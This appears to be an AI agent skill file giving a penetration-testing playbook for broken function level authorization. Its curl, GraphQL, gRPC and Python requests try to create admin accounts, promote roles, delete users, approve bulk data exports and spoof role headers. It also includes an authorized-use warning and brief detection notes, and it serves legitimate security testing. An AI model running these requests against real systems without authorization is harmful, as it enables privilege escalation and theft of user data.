- name
- bfla
- description
- Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"authorization","when_to_use":"BFLA, broken function level authorization, function level access control, admin endpoint bypass, privilege escalation, admin api, method override, role bypass, action-level authorization, unauthorized action, admin function, GraphQL mutation privilege, gRPC method bypass, batch job auth, actor action matrix","tags":"web-application, authorization, privilege-escalation, api, owasp-api5","mitre_attack":"T1190, T1078.001, T1548"}
# Broken Function Level Authorization (BFLA)
BFLA is an action-level access control failure: a lower-privileged principal successfully invokes a function (HTTP endpoint, GraphQL mutation, gRPC method, WebSocket event, background job action) that should be restricted to a higher-privileged role. It is distinct from IDOR (T1190 object-level) — the surface here is the *action itself*, not the object ID. Enforcement must bind actor to action at every transport layer and every service boundary, not just at the UI or API gateway.
**Authorized use only.** Only test systems you are explicitly authorized to assess. Privilege escalation in production without authorization is a crime in most jurisdictions.
## Attack Surface
- REST/JSON admin endpoints hidden from the UI but still live on the server
- GraphQL mutations and admin fields absent from the published schema but introspectable
- gRPC methods listed via server reflection that bypass gateway checks
- WebSocket events where only the handshake was authorized
- Background job create/finalize/approve endpoints that re-use session but skip role checks
- Internal microservice RPCs reachable via SSRF or exposed routing
- Feature flags enforced client-side / at edge but not at the core service
## High-Value Actions
- Role/permission assignment, user impersonation, sudo/su endpoints
- Refund, credit issuance, price override, order void/cancel
- Export/bulk-download of all user data or PII
- Account suspension, deletion, reactivation, verification override
- Feature flag toggle, quota/grant adjustment, seat/license change
- 2FA reset, email-change bypass, password-reset initiation for arbitrary accounts
- Admin console CRUD (create user, delete user, assign group)
## Reconnaissance
### Build the Actor x Action Matrix
Before fuzzing, enumerate the roles and their expected actions:
```bash
# Capture all endpoints from JS bundles, API spec, and crawl
# Extract role-specific API paths from the frontend
curl -s https://<TARGET>/static/main.js | grep -oE '"/api/[^"]*"' | sort -u
curl -s https://<TARGET>/openapi.json 2>/dev/null | python3 -c "
import sys,json
spec = json.load(sys.stdin)
for path,methods in spec.get('paths',{}).items():
for method,info in methods.items():
tags = info.get('tags',[]) + info.get('x-roles',[]) + info.get('security',[])
print(method.upper(), path, tags)
" 2>/dev/null
```
For each discovered endpoint, note: HTTP method, expected minimum role, whether it appears in the UI for non-admin users.
### Obtain Sessions for Each Role
```bash
# Register/obtain sessions for: unauthenticated, basic user, premium, staff, admin
# Store cookies/tokens for each role
curl -s -c unauthenticated.jar https://<TARGET>/api/me
curl -s -c basic.jar -X POST https://<TARGET>/login -d 'user=basic&pass=<pass>'
curl -s -c admin.jar -X POST https://<TARGET>/login -d 'user=admin&pass=<pass>'
```
### Signals That BFLA Is Present
- Endpoint returns 200 for a lower-role token where 403/401 is expected
- Different HTTP methods on the same path have inconsistent enforcement (GET allowed, POST blocked — but PATCH is not)
- Admin endpoints return a different error code (404 vs 403) — "security through obscurity" that still processes the request
- Background job endpoints return 200 with a task ID even for non-admin callers
- GraphQL mutation returns data when sent from a basic-user token
## Testing Methodology
### Step 1: Baseline with Admin Token
Confirm each target action succeeds with the highest-privilege token first. This rules out the action being broken for everyone.
```bash
# Example: create a user as admin
curl -s -b admin.jar -X POST https://<TARGET>/api/admin/users \
-H 'Content-Type: application/json' \
-d '{"username":"testuser","role":"admin"}' | tee bfla_admin_baseline.txt
```
### Step 2: Replay with Lower-Privilege Token
Replay the identical request with the basic-user or unauthenticated token. Same path, same method, same body.
```bash
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \
-H 'Content-Type: application/json' \
-d '{"username":"testuser2","role":"admin"}' | tee bfla_basic_replay.txt
# Diff: admin got 201 Created, basic should get 403
diff bfla_admin_baseline.txt bfla_basic_replay.txt
```
**Win condition:** basic-user request returns 200/201/204 (or produces a durable state change verified by subsequent GET) when the admin baseline returned 201.
### Step 3: Method Alternation
Many frameworks register route handlers per-method independently. An admin-only POST may have an unguarded PUT/PATCH/DELETE.
```bash
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" -b basic.jar \
-X "$method" https://<TARGET>/api/admin/users/1 \
-H 'Content-Type: application/json' \
-d '{"role":"admin"}'
echo
done
```
Look for: method returning 200/204 where others return 403. Also try `X-HTTP-Method-Override: DELETE` on a POST request.
### Step 4: Transport / Encoding Alternation
```bash
# JSON vs form-encoded (different middleware chains in some frameworks)
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/promote \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'user_id=2&role=admin'
# Try path with/without trailing slash (different route matches in some routers)
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users/
```
### Step 5: GraphQL Mutations
```bash
# Attempt admin mutation with a basic-user token
curl -s -b basic.jar -X POST https://<TARGET>/graphql \
-H 'Content-Type: application/json' \
-d '{
"query": "mutation { updateUser(id: 2, role: ADMIN) { id role } }"
}' | tee bfla_graphql.txt
# Use aliases to batch privileged mutations and observe which succeed
curl -s -b basic.jar -X POST https://<TARGET>/graphql \
-H 'Content-Type: application/json' \
-d '{
"query": "mutation { a: deleteUser(id: 3) { id } b: promoteUser(id: 2, role: ADMIN) { id role } }"
}'
```
### Step 6: Background Jobs and Webhooks
Job-create endpoints are often allowed for all users; finalize/approve are not guarded independently:
```bash
# Create job as basic user (allowed)
JOB_ID=$(curl -s -b basic.jar -X POST https://<TARGET>/api/export \
-H 'Content-Type: application/json' \
-d '{"type":"all_users"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['job_id'])")
# Finalize/approve job as basic user (should be 403)
curl -s -b basic.jar -X POST https://<TARGET>/api/export/$JOB_ID/approve \
| tee bfla_job_approve.txt
```
### Step 7: Header Trust Bypass
Some backends trust identity headers injected by a gateway/proxy. Supply conflicting headers:
```bash
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \
-H 'X-User-Role: admin' \
-H 'X-Forwarded-User: admin' \
-H 'X-Auth-Role: staff' \
-H 'Content-Type: application/json' \
-d '{"username":"pwned","role":"admin"}'
```
## Verification
A confirmed BFLA finding requires:
1. **Baseline contrast:** admin token → 200/201; basic token → 200/201 (should be 403)
2. **Durable state change:** subsequent GET or audit log confirms the privileged action persisted
3. **Minimal repro:** single request that demonstrates the bypass (no intermediary steps)
```python
import requests
TARGET = "https://<TARGET>"
BASIC = {"session": "<basic_session_cookie>"}
ADMIN = {"session": "<admin_session_cookie>"}
# Baseline: admin can promote
r_admin = requests.post(f"{TARGET}/api/admin/users", cookies=ADMIN,
json={"username": "probe", "role": "admin"}, timeout=5)
assert r_admin.status_code in (200, 201), f"Admin baseline failed: {r_admin.status_code}"
# BFLA: basic can too?
r_basic = requests.post(f"{TARGET}/api/admin/users", cookies=BASIC,
json={"username": "bfla_probe", "role": "admin"}, timeout=5)
print(f"BFLA result: {r_basic.status_code} {r_basic.text[:200]}")
# Confirm durable state
me = requests.get(f"{TARGET}/api/users/bfla_probe", cookies=BASIC, timeout=5).json()
print(f"Role in DB: {me.get('role')}") # should be 'admin' if BFLA succeeded
```
## gRPC-Specific Testing
```bash
# List methods via server reflection
grpc_cli ls <TARGET>:443 --l # requires grpc_cli
# Call admin method with basic-user token
grpcurl -H "Authorization: Bearer <basic_token>" \
-d '{"user_id": 2, "role": "ADMIN"}' \
<TARGET>:443 com.example.AdminService/PromoteUser
```
## Common Framework Weaknesses
| Framework | Pattern | Gap |
|-----------|---------|-----|
| Express/Node | `router.post('/admin', adminMiddleware)` missing on `router.put` | Method alternation bypass |
| Django DRF | `permission_classes = [IsAdmin]` set at ViewSet but missing on action-level `@action` | Custom action without permission decorator |
| Spring Security | `antMatchers("/admin/**").hasRole("ADMIN")` but `/admin` (no slash) not matched | Trailing-slash bypass |
| FastAPI | Dependency injection on route but not on background task handler | Background task runs with no caller |
| GraphQL (generic) | Top-level query auth but resolver-level checks absent | Nested mutation bypass |
## ATT&CK Mapping
- T1190 — Exploit Public-Facing Application (initial access via unguarded admin endpoint)
- T1078.001 — Valid Accounts: Default Accounts (when function-level bypass yields admin account creation)
- T1548 — Abuse Elevation Control Mechanism (privilege escalation via unguarded elevation endpoint)
## Detection Notes
Defenders should look for: a non-admin session token successfully invoking `/admin/` or `/staff/` paths (log the 200 response code alongside the token's role claim), unexpected role changes in audit logs, and GraphQL mutations from non-staff tokens that modify privileged fields.
## Output Files
```
./
├── bfla_admin_baseline.txt # Proof admin action succeeds
├── bfla_basic_replay.txt # Proof basic-user bypass succeeds
├── bfla_<endpoint>_evidence.txt # Durable state-change proof (GET after write)
└── bfla_summary.md # Matrix of tested actions, methods, transports, results
```
عرض على GitHub